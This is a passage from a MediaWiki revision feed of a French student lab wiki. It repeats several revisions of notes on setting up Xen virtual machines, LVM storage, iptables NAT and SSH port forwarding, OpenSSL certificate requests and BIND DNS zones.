};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11517</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11517"/>
		<updated>2026-01-27T16:35:50Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech admin.deadpool.tech (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN      NS      ns.deadpool.tech.&lt;br /&gt;
@ IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11486</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11486"/>
		<updated>2026-01-27T14:25:49Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11458</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11458"/>
		<updated>2026-01-27T13:47:57Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11453</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11453"/>
		<updated>2026-01-27T13:36:54Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
